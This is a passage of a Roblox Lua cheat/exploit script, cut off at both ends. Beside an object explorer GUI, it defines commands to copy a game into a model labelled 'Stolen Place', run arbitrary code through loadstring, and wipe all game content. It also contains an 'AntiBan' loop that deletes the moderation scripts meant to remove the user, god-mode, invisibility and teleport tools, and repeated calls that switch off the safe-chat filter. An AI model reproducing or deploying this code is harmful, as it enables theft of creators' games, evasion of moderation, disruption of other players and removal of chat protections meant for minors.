(class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or
(class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or
(class=="BrickColorValue") then
CreateImageLabel(Par,Base..Images.Value)
elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService")
then
CreateImageLabel(Par,Base..Images.Sound)
elseif (class=="Script") then
CreateImageLabel(Par,Base..Images.Script)
elseif (class=="ScreenGui") or (class=="GuiMain") or
(class=="BillboardGui") then
CreateImageLabel(Par,Base..Images.ScreenGui)
elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
CreateImageLabel(Par,Base..Images.Part)
elseif (class=="Model") then
CreateImageLabel(Par,Base..Images.Model)
elseif (class=="Hint") or (class=="Message") then
CreateImageLabel(Par,Base..Images.Message)
elseif (class=="LocalScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or
(class=="Rotate") or (class=="RotateP") or (class=="RotateV") or
(class=="JointsService") then
CreateImageLabel(Par,Base..Images.Joint)
elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or
(class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
CreateImageLabel(Par,Base..Images.Frame)
elseif (class=="Camera") then
CreateImageLabel(Par,Base..Images.Camera)
elseif (class=="Backpack") or (class=="StarterGear") or
(class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
CreateImageLabel(Par,Base..Images.Backpack)
elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players")
then
CreateImageLabel(Par,Base..Images.Player)
elseif (class=="BodyPosition") or (class=="BodyGyro") or
(class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or
(class=="RocketPropulsion") then
CreateImageLabel(Par,Base..Images.Body)
elseif (class=="HopperBin") then
CreateImageLabel(Par,Base..Images.HopperBin)
elseif (class=="Tool") then
CreateImageLabel(Par,Base..Images.Tool)
elseif (class=="Workspace") then
CreateImageLabel(Par,Base..Images.Workspace)
elseif (class=="BlockMesh") or (class=="SpecialMesh") or
(class=="CylinderMesh") then
CreateImageLabel(Par,Base..Images.Mesh)
elseif (class=="Animation") or (class=="CharacterMesh") then
CreateImageLabel(Par,Base..Images.Animation)
elseif (class=="Hat") then
CreateImageLabel(Par,Base..Images.Hat)
elseif (class=="Humanoid") then
CreateImageLabel(Par,Base..Images.Humanoid)
elseif (class=="StarterScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="CoreScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
else CreateImageLabel(Par,Base..Images.Nil)
end
end
function SetExplGui()
if (Selection~=nil) then
local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
if (Gui~=nil) then Gui:Remove() end
local Children=Selection:GetChildren()
ExplGui=Instance.new("ScreenGui")
ExplGui.ResetOnSpawn = false
ExplGui.Parent=game:GetService("CoreGui")
ExplGui.Name="ExplorerGui"
if (Selection.Parent~=nil) then
local BackButton=Instance.new("TextButton")
BackButton.Size=UDim2.new(0,120,0,15)
BackButton.BorderColor3=Color3.new(0,0,0)
BackButton.TextColor3=Color3.new(0,0,0)
BackButton.Parent=ExplGui
BackButton.Text="Back to " .. Selection.Parent.Name
BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
BackButton.BackgroundTransparency=0.5
BackButton.Position=UDim2.new(0,380,0,0)
BackButton.Name="Back"
BackButton.MouseButton1Click:connect(function()
Selection=Selection.Parent
SetExplGui()
SetPropGui()
end) end
if (#Children>=MAXPAGEN) then
local f=0
for i=Min,Max do
f=f+1
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else
Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15))
else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
local UP=Instance.new("TextButton")
UP.Position=UDim2.new(0,515,0,0)
UP.Size=UDim2.new(0,15,0,15)
UP.BorderColor3=Color3.new(0,0,0)
UP.TextColor3=Color3.new(0,0,0)
UP.Parent=ExplGui
UP.Text="^"
UP.BackgroundColor3=Color3.new(1,0.25,0.25)
UP.BackgroundTransparency=0.5
UP.Name="UpButton"
UP.MouseButton1Click:connect(function() if (Min<=1) then return end
Min=Min-1 Max=Max-1 SetExplGui() end)
local DOWN=Instance.new("TextButton")
DOWN.Position=UDim2.new(0,515,0,15)
DOWN.Size=UDim2.new(0,15,0,15)
DOWN.BorderColor3=Color3.new(0,0,0)
DOWN.TextColor3=Color3.new(0,0,0)
DOWN.Parent=ExplGui
DOWN.Text="v"
DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
DOWN.BackgroundTransparency=0.5
DOWN.Name="DownButton"
DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return
end Min=Min+1 Max=Max+1 SetExplGui() end)
else
Max=MAXPAGEN
Min=1
for i=1,#Children do
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else
Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15))
else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
end
end
----------------
Selection.Changed:connect(function(prop)
if (Selection==game) then return end
if (updateDebounce==1) then
updateDebounce=0
if (Selection.Parent==nil) then
Selection=game
updateDebounce=1
SetPropGui()
SetExplGui()
return end
if (PropGui~=nil) then
local Button=PropGui:FindFirstChild(prop)
if (Button~=nil) then
local Get=GetType(prop)
Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
end end
wait()
updateDebounce=1
end end)
---------------------------
end
SetPropGui()
SetExplGui()
end
Hint=function(txt,t)
if not pcall(function()local w=game:service'CoreGui':children''end)then
return end
local Hint=Instance.new('Hint',game:service'CoreGui')
Hint.Text=txt
wait(t)
Hint:remove''
end
if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
Player=wfp(s'Players','LocalPlayer')
table.insert(Connects,Player.Chatted:connect(SearchCommand))
if pcall(function()s'CoreGui':IsA''end)then
PlayerGui=s'CoreGui'
else
PlayerGui=wfo(Player,'Name','PlayerGui')
end
Commands.ff=function(v,asd)
for i,v in pairs(pf(asd[1]))do
if v.Character then
for i,v in
pairs(FindChildren(v.Character,'ClassName','ForceField'))do
v:remove''
end
if asd[2]=='false'then return end
Instance.new('ForceField',v.Character)
end
end
end
Commands.port=function(v)
local t=game:service'InsertService':LoadAsset'64667087'
if v or v~=''then
t:FindFirstChild('port',true).Value=v
end
game:service'InsertService':Insert(t)
end
Commands.savegame=function()
Place=Instance.new('Model',settings'')
Place.Name=tick''..'Stolen Place '..game.PlaceId
Workspace=Instance.new('Model',Place)
Workspace.Name='Workspace'
Lighting=Instance.new('Model',Place)
Lighting.Name='Lighting'
StarterPack=Instance.new('Model',Place)
StarterPack.Name='StarterPack'
StarterGui=Instance.new('Model',Place)
StarterGui.Name='StarterGui'
Teams=Instance.new('Model',Place)
Teams.Name='Teams'
Players=Instance.new('Model',Place)
Players.Name='Players'
SoundService=Instance.new('Model',Place)
SoundService.Name='SoundService'
for asdasd,asd in pairs(Place:children'')do
for i,v in pairs(game:service(asd.Name):children'')do
pcall(function()
if not v:IsA("Player") then
if v:IsA("Model") then
v.Archivable=true end
v:clone''.Parent=asd
elseif v:IsA("Player") then
plr=Instance.new('Model',Players) plr.Name=v.Name
for e,i in
pairs(v:GetChildren())do i:clone().Parent = plr end
end
end)
end
end
Hint('Save game complete',10)
end
Commands.suicide=function()
for i,v in pairs(Connects)do
v:disconnect''
end
for i,v in pairs(PlayerGui:children'')do
if v.Name==CommanderName then pcall(v.remove,v)end
end
end
Commands.power=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.nova=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.gaara=function()
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.outgame=function() AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil then
if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
Commands.load=function(v)loadstring(v)()end
Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
game:service'Players'.LocalPlayer.Parent=nil
game:service'Players'.LocalPlayer.Parent=game:service'Players'
game:ClearContent'true'
for i,v in pairs(GetAll(game))do
pcall(v.remove,v)
end
game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
end
Commands.reset=function(v,asd)
for i,p in pairs(pf(asd[1]))do
Delay(0,function()
for i,v in pairs(p.Character:children'')do
if not v:IsA'Humanoid'then
pcall(v.remove,v)
end
end
end)
end
end
Commands.bar=CommandBar
CommandBar''
AntiBan=function()
coroutine.resume(coroutine.create(function()
while true and wait() do
for _,v in pairs(game.Workspace:GetChildren()) do
if (v:IsA("Script")) and (v.Name=="BanScript") then
v.Disabled=true
v:remove()
elseif (v:IsA("Script")) and (string.sub(v.Name, 1,
9)=="Person299") then
v.Disabled=true
v:remove()
end
end
end
end))
end
AntiBan''
X(function()
local gs=s'GuiService'
gs:AddKey(CmdbKey)
gs:AddKey(FocusKey)
gs:AddKey(ExplorerKey)
gs:AddKey(ExproKey)
gs:AddKey(GearKey)
gs:AddKey(BuildKey)
gs:AddKey(GodKey)
gs:AddKey(UnlockKey)
gs:AddKey(LockKey)
gs:AddKey(InvisiKey)
gs:AddKey(VisiKey)
gs:AddKey(AdminKey)
table.insert(Connects,gs.KeyPressed:connect(function(Key)
if Key==CmdbKey then
if(game.Players.LocalPlayer.Name=="LocalCheater")then
game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?
ID=67950579"
game.Players.LocalPlayer.Character.Humanoid.Health = 0
game.Players.LocalPlayer:SetSuperSafeChat(false)
else
if CommanderScreen.Parent then
pcall(CommanderScreen.remove,CommanderScreen)
Player:SetSuperSafeChat(false)
return
end
CommandBar''
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
elseif Key==FocusKey then
CommanderFocus''
elseif Key==ExproKey then
ExproGui''
Player:SetSuperSafeChat(false)
elseif Key==ExplorerKey then
ExplorerGui''
Player:SetSuperSafeChat(false)
elseif Key==AdminKey then
coroutine.resume(coroutine.create(function()
if(game.Players.LocalPlayer.Character~=nil)then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then
AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
AdminScript.Name="_admincmd"
AdminScript.Source=AdminScriptSource
AdminScript.Disabled=true
AdminScript.Disabled=false
end
end
end))
elseif Key==InvisiKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")
MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
function invisi(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=1
end
invisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then
invisi(game.Players.LocalPlayer.Character)
end
game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==VisiKey then
coroutine.resume(coroutine.create(function()
function uninvisi(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("Part"))or(v:IsA("Decal"))then
v.Transparency=0
end
uninvisi(v)
end
end
if(game.Players.LocalPlayer.Character~=nil)then
uninvisi(game.Players.LocalPlayer.Character)
end
game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100
game.Players.LocalPlayer.Character.Humanoid.Health=100
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16
game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
elseif Key==GodKey then
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")
MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then
TeleportTool=ctool("iTeleport")
TeleportScript=Instance.new("LocalScript",TeleportTool)
end
TeleportScript.Source=[[
if(script.Parent:IsA("HopperBin"))then
script.Parent.Selected:connect(function(mouse)
mouse.Button1Down:connect(function()
if(game.Players.LocalPlayer.Character~=nil)then
if(game.Players.LocalPlayer.Character.Torso~=nil)then
game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(
0,5,0))
end
end
end)
end)
end]]
TeleportScript.Disabled=true
TeleportScript.Disabled=false
function aff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
aff(v)
end
end
aff(game.Players.LocalPlayer.Character)
Instance.new("ForceField",game.Players.LocalPlayer.Character)
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
game.Players.LocalPlayer.Character.Head.Transparency=1
if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then
game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
end
game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
wait()
game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
game.Players.LocalPlayer:SetSuperSafeChat(false)
end))
Player:SetSuperSafeChat(false)
elseif Key==UnlockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=false
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
local load=ctool("Unlocked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
end
end))
elseif Key==LockKey then
function unlock(root)
for _, v in pairs(root:GetChildren()) do
if(v:IsA("Part"))then
v.Locked=true
end
unlock(v)
end
end
unlock(game.Workspace)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
local load=ctool("Locked!")
end
wait(4)
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
end
end))
elseif Key==BuildKey then
Player:SetSuperSafeChat(false)
coroutine.resume(coroutine.create(function()
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
MergeTool=ctool("iMergeTool")
MergeScript=Instance.new("LocalScript",MergeTool)
end
MergeScript.Source=MergeScriptSource
MergeScript.Disabled=true
MergeScript.Disabled=false
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
local clone=ctool("iCloneTool")
clone.BinType = "Clone"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
local move=ctool("iGrabPartTool")
move.BinType = "GameTool"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
local move=ctool("iGrabModelTool")
move.BinType = "Grab"
end
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
iBTool=ctool("iBTool")
iBToolScript=Instance.new("LocalScript",iBTool)
iBToolScript.Name="iBScript"
end
iBToolScript.Source=[[
plr=game.Players.LocalPlayer
plg=plr.PlayerGui
coroutine.resume(coroutine.create(function(plr) while(wait())do
chr=plr.Character end end),plr)
if(script.Parent.ClassName~="HopperBin")then
bin=Instance.new("HopperBin",plr.Backpack)
bin.Name="iBTool"
script.Name="iBScript"
script.Parent=bin
else
script.Name="iBScript"
bin=script.Parent
bin.Name="iBTool"
end
bin.Selected:connect(function(mouse) print("iBTool_Selected")
box=Instance.new("SelectionBox")
lso=Instance.new("SelectionPointLasso",chr)
lso.Visible=false
lso.Humanoid=chr:FindFirstChild("Humanoid")
md1=1
md2=1
md3=1
clr=true
ste=false
lvi=false
cle=false
tme=.3
function createGui()
gui=Instance.new("ScreenGui",plg)
gui.ResetOnSpawn =
false
gui.Name="iBGui"
--PanelGUI--
frm=Instance.new("Frame",gui)
frm.Visible=false
frm.Name="iBPanel"
frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
frm.Style="RobloxRound"
frm.ZIndex=8
lab=Instance.new("TextLabel",frm)
lab.Name="iBTitle"
lab.BackgroundTransparency=1
lab.Size=UDim2.new(1,0,0.150000006,0)
lab.ZIndex=9
lab.Font="ArialBold"
lab.FontSize="Size18"
lab.Text="iBuildTools Panel"
lab.TextColor3=Color3.new(1,1,1)
lab.TextStrokeTransparency=0
lab.TextStrokeColor3=Color3.new(0,0,0)
del=Instance.new("TextButton",frm)
del.Name="iBDelete"
del.BackgroundTransparency=1
del.Position=UDim2.new(0,0,0.200000003,0)
del.Size=UDim2.new(1,0,0.119999997,0)
del.Style="RobloxButtonDefault"
del.ZIndex=9
del.Font="ArialBold"
del.FontSize="Size12"
del.Text="Delete"
del.TextColor3=Color3.new(1,1,1)
del.Selected=true
ach=Instance.new("TextButton",frm)
ach.Name="iBAnchor"
ach.BackgroundTransparency=1
ach.Position=UDim2.new(0,0,0.330000013,0)
ach.Size=UDim2.new(1,0,0.119999997,0)
ach.Style="RobloxButton"
ach.ZIndex=9
ach.Font="ArialBold"
ach.FontSize="Size12"
ach.Text="Anchor"
ach.TextColor3=Color3.new(1,1,1)
col=Instance.new("TextButton",frm)
col.Name="iBCanCollide"
col.BackgroundTransparency=1
col.Position=UDim2.new(0,0,0.460000008,0)
col.Size=UDim2.new(1,0,0.119999997,0)
col.Style="RobloxButton"
col.ZIndex=9
col.Font="ArialBold"
col.FontSize="Size12"
col.Text="CanCollide"
col.TextColor3=Color3.new(1,1,1)
lck=Instance.new("TextButton",frm)
lck.Name="iBLock"
lck.BackgroundTransparency=1
lck.Position=UDim2.new(0,0,0.579999983,0)
lck.Size=UDim2.new(1,0,0.119999997,0)
lck.Style="RobloxButton"
lck.ZIndex=9
lck.Font="ArialBold"
lck.FontSize="Size12"
lck.Text="Lock"
lck.TextColor3=Color3.new(1,1,1)
brk=Instance.new("TextButton",frm)
brk.Name="iBBreak"
brk.BackgroundTransparency=1
brk.Position=UDim2.new(0,0,0.699999988,0)
brk.Size=UDim2.new(1,0,0.119999997,0)
brk.Style="RobloxButton"
brk.ZIndex=9
brk.Font="ArialBold"
brk.FontSize="Size12"
brk.Text="BreakJoints"
brk.TextColor3=Color3.new(1,1,1)
set=Instance.new("TextButton",frm)
set.Name="iBSettings"
set.BackgroundTransparency=1
set.Position=UDim2.new(0,0,0.829999983,0)
set.Size=UDim2.new(1,0,0.119999997,0)
set.Style="RobloxButton"
set.ZIndex=9
set.Font="ArialBold"
set.FontSize="Size12"
set.Text="Settings"
set.TextColor3=Color3.new(1,1,1)
frm.Visible=true
--SettingsGUI--
frs=Instance.new("Frame",gui)
frs.Visible=false
frs.Name="iBSettings"
frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
frs.Size=UDim2.new(0.25,0,0.25,0)
frs.Style="RobloxRound"
frs.ZIndex=8
frw=Instance.new("Frame",frs)
frw.Name="iBWindow"
frw.Position=UDim2.new(0,0,0.25999999,0)
frw.Size=UDim2.new(1,0,0.74000001,0)
frw.Style="RobloxRound"
frw.ZIndex=8
cls=Instance.new("TextButton",frs)
cls.Name="iBClose"
cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
cls.Style="RobloxButtonDefault"
cls.ZIndex=10
cls.Font="ArialBold"
cls.FontSize="Size12"
cls.Text="X"
cls.TextColor3=Color3.new(1,0,0)
wtl=Instance.new("TextLabel",frs)
wtl.Name="iBTitle"
wtl.BackgroundTransparency=1
wtl.Size=UDim2.new(1,0,0.25,0)
wtl.ZIndex=9
wtl.Font="ArialBold"
wtl.FontSize="Size14"
wtl.TextColor3=Color3.new(1,1,1)
wtl.TextStrokeColor3=Color3.new(0,0,0)
wtl.TextStrokeTransparency=0
wtl.TextXAlignment="Left"
clk=Instance.new("TextLabel",frw)
clk.Name="iBClick"
clk.BackgroundTransparency=1
clk.Size=UDim2.new(1,0,0.330000013,0)
clk.ZIndex=10
clk.Font="ArialBold"
clk.FontSize="Size12"
clk.TextColor3=Color3.new(1,1,1)
clk.Text=" - Click
Mode : "
clk.TextStrokeColor3=Color3.new(0,0,0)
clk.TextStrokeTransparency=0
clk.TextXAlignment="Left"
ray=Instance.new("TextLabel",frw)
ray.Name="iBRay"
ray.BackgroundTransparency=1
ray.Position=UDim2.new(0,0,0.330000013,0)
ray.Size=UDim2.new(1,0,0.330000013,0)
ray.ZIndex=10
ray.Font="ArialBold"
ray.FontSize="Size12"
ray.TextColor3=Color3.new(1,1,1)
ray.Text=" - Ray
Mode : "
ray.TextStrokeColor3=Color3.new(0,0,0)
ray.TextStrokeTransparency=0
ray.TextXAlignment="Left"
rfc=Instance.new("TextLabel",frw)
rfc.Name="iBRayFunction"
rfc.BackgroundTransparency=1
rfc.Position=UDim2.new(0,0,0.660000013,0)
rfc.Size=UDim2.new(1,0,0.330000013,0)
rfc.ZIndex=10
rfc.Font="ArialBold"
rfc.FontSize="Size12"
rfc.TextColor3=Color3.new(1,1,1)
rfc.Text=" - Ray
Function : "
rfc.TextStrokeColor3=Color3.new(0,0,0)
rfc.TextStrokeTransparency=0
rfc.TextXAlignment="Left"
ckb=Instance.new("TextButton",frw)
ckb.Name="iBClickButton"
ckb.Position=UDim2.new(0.400000006,0,0,0)
ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
ckb.ZIndex=10
ckb.Selected=true
ckb.Style="RobloxButtonDefault"
ckb.Font="ArialBold"
ckb.FontSize="Size12"
ckb.Text="Enabled"
ckb.TextColor3=Color3.new(0,1,0)
ryb=Instance.new("TextButton",frw)
ryb.Name="iBRayButton"
ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
ryb.Style="RobloxButton"
ryb.ZIndex=10
ryb.Font="ArialBold"
ryb.FontSize="Size12"
ryb.Text="Disabled"
ryb.TextColor3=Color3.new(1,0,0)
rfb=Instance.new("TextButton",frw)
rfb.Name="iBRayFButton"
rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
rfb.Style="RobloxButtonDefault"
rfb.ZIndex=10
rfb.Font="ArialBold"
rfb.FontSize="Size12"
rfb.Text="Enable
Propertie"
rfb.TextColor3=Color3.new(0,1,0)
end
createGui()
coroutine.resume(coroutine.create(function()
while(mouse)and
wait() do
if(box)and(ray)then
if(lvi)then
lso.Visible=true
else
lso.Visible=false
end
if(md1==1)then
if(clr)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
box.Visible=true
box.Parent=chr
box.Adornee=mouse.Target
if(md2==1)then
box.Color=BrickColor.new("Bright red")
elseif(md2==2)then
if(mouse.Target.Anchored)then
box.Color=BrickColor.new("Camo")
else
box.Color=BrickColor.new("Bright red")
end
elseif(md2==3)then
if(mouse.Target.CanCollide)then
box.Color=BrickColor.new("Camo")
else
box.Color=BrickColor.new("Bright red")
end
elseif(md2==4)then
if(mouse.Target.Locked)then
box.Color=BrickColor.new("Camo")
else
box.Color=BrickColor.new("Bright red")
end
elseif(md2==5)then
box.Color=BrickColor.new("Bright blue")
end
end
else
box.Visible=false
box.Parent=nil
box.Adornee=nil
end
end
elseif(md1==2)then
lso.Point=mouse.Hit.p
lso.Parent=chr
box.Visible=false
box.Parent=nil
box.Adornee=nil
if(md2~=1)and(md2~=5)then
if(md3==1)then
lso.Color=BrickColor.new("Camo")
elseif(md3==2)then
lso.Color=BrickColor.new("Bright red")
end
elseif(md2==1)then
if(cle)then
lso.Color=BrickColor.new("Bright red")
else
lso.Color=BrickColor.new("Bright blue")
end
elseif(md2==5)then
if(cle)then
lso.Color=BrickColor.new("Bright red")
else
lso.Color=BrickColor.new("Bright blue")
end
end
end
end
end
end))
function delDown()
del_downFunc=mouse.Button1Down:connect(function()
md2=1
if(md2==1)then
if(md1==1)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
mouse.Target:remove()
end
end
elseif(md1==2)then
lvi=true
while(lvi)and wait() do
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
mouse.Target:remove()
cle=true
wait(tme)
cle=false
else
cle=false
end
else
cle=false
end
end
end
end
end)
end
function delUp()
del_upFunc=mouse.Button1Up:connect(function()
lvi=false
cle=false
end)
end
function achDown()
ach_downFunc=mouse.Button1Down:connect(function()
md2=2
if(md2==2)then
if(md1==1)then
if(mouse.Target~=nil)then
if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:
IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mo
use.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
if(mouse.Target.Anchored)then
mouse.Target.Anchored=false
else
mouse.Target.Anchored=true
end
end
end
elseif(md1==2)then
lvi=true
while(lvi)and wait() do
if(mouse.Target~=nil)then
